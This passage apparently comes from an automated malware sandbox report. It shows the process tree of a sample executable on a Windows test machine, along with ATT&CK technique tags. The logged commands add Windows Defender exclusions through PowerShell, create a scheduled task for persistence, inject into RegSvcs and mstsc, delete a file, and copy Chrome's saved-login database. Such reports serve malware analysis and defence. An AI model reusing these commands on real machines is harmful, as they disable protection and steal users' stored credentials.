    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    PID:3356
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:452
- C:\Users\Admin\Downloads\a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe
  "C:\Users\Admin\Downloads\a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of SetThreadContext
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:1340
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Downloads\a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2880
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\jZhgVFz.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3036
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jZhgVFz" /XML "C:\Users\Admin\AppData\Local\Temp\tmp5561.tmp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4408
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:1688
- C:\Windows\SysWOW64\mstsc.exe
  "C:\Windows\SysWOW64\mstsc.exe"
  2⤵
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:1084
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:760
- - C:\Windows\SysWOW64\cmd.exe
    /c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1568
- - C:\Program Files\Mozilla Firefox\Firefox.exe
    "C:\Program Files\Mozilla Firefox\Firefox.exe"
    3⤵
    PID:1044
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SendNotifyMessage
  PID:4716
- C:\Windows\SysWOW64\systray.exe
  "C:\Windows\SysWOW64\systray.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  PID:1448
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffb47ae46f8,0x7ffb47ae4708,0x7ffb47ae4718
    3⤵
    PID:1160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2116 /prefetch:2
    3⤵
    PID:3644
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:3
    3⤵
    PID:3948
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2828 /prefetch:8
    3⤵
    PID:1960
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:1
    3⤵
    PID:3840
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:1
    3⤵
    PID:5008
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5068 /prefetch:1
    3⤵
    PID:1692
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4700 /prefetch:1
    3⤵
    PID:1716
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4064 /prefetch:8
    3⤵
    PID:4128
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4064 /prefetch:8
    3⤵
    PID:2992
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3488 /prefetch:1
    3⤵
    PID:1736
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5428 /prefetch:1
    3⤵
    PID:1060
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5400 /prefetch:1
    3⤵
    PID:2536
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5344 /prefetch:1
    3⤵
    PID:2472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:1
    3⤵
    PID:3768
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5388 /prefetch:1
    3⤵
    PID:1884
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:1
    3⤵
    PID:1788
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:1
    3⤵
    PID:4652
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:1
    3⤵
    PID:3268
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2096,1425390666755579973,9574456100663643761,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=2044 /prefetch:8
    3⤵
    PID:1100
- C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Desktop\SuspendCompress.xlsx"
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:220
- C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Desktop\SuspendCompress.xlsx"
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:2352
- C:\Program Files (x86)\Nybgh8\configufgxdx.exe
  "C:\Program Files (x86)\Nybgh8\configufgxdx.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1224
- C:\Windows\system32\mspaint.exe
  "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Pictures\MountCheckpoint.bmp"
  2⤵
  - Drops file in Windows directory
  - Suspicious use of SetWindowsHookEx
  PID:2312
- C:\Windows\system32\mspaint.exe
  "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Pictures\ConfirmResize.jpeg" /ForceBootstrapPaint3D
  2⤵
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:4300
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Pictures\DismountClose.svg
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  PID:920
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x84,0x7c,0xe4,0x80,0x108,0x7ffb47ae46f8,0x7ffb47ae4708,0x7ffb47ae4718
    3⤵
    PID:4896
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2188,10272569529427770586,5087934337360655992,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2212 /prefetch:2
    3⤵
    PID:4984
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2188,10272569529427770586,5087934337360655992,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 /prefetch:3
    3⤵
    PID:876
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2188,10272569529427770586,5087934337360655992,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2892 /prefetch:8
    3⤵
    PID:1900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,10272569529427770586,5087934337360655992,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3444 /prefetch:1
    3⤵
    PID:1232
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,10272569529427770586,5087934337360655992,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3636 /prefetch:1
    3⤵
    PID:1732
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,10272569529427770586,5087934337360655992,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5168 /prefetch:8
    3⤵
    PID:2072
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,10272569529427770586,5087934337360655992,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5168 /prefetch:8
    3⤵
    PID:2040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  PID:1888
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb47ae46f8,0x7ffb47ae4708,0x7ffb47ae4718
    3⤵
    PID:3496
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:2
    3⤵
    PID:2380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 /prefetch:3
    3⤵
    PID:4700
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2856 /prefetch:8
    3⤵
    PID:2700
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
    3⤵
    PID:4908
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
    3⤵
    PID:3116
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:1
    3⤵
    PID:3108
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4444 /prefetch:1
    3⤵
    PID:4616
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5288 /prefetch:8
    3⤵
    PID:4320
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5288 /prefetch:8
    3⤵
    PID:4984
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5328 /prefetch:1
    3⤵
    PID:4716
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5348 /prefetch:1
    3⤵
    PID:3232
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5028 /prefetch:1
    3⤵
    PID:2216
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2260 /prefetch:1
    3⤵
    PID:4336
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6012 /prefetch:1
    3⤵
    PID:2108
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1784 /prefetch:1
    3⤵
    PID:4788
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7704431769219422285,933191761998799007,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:1
    3⤵
    PID:3216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1932 -ip 1932
1⤵
PID:956

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3884

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1988

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4368

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
PID:4524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s DsSvc
1⤵
- Drops file in System32 directory
PID:3296

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:4900

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3320

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2528

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4056

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

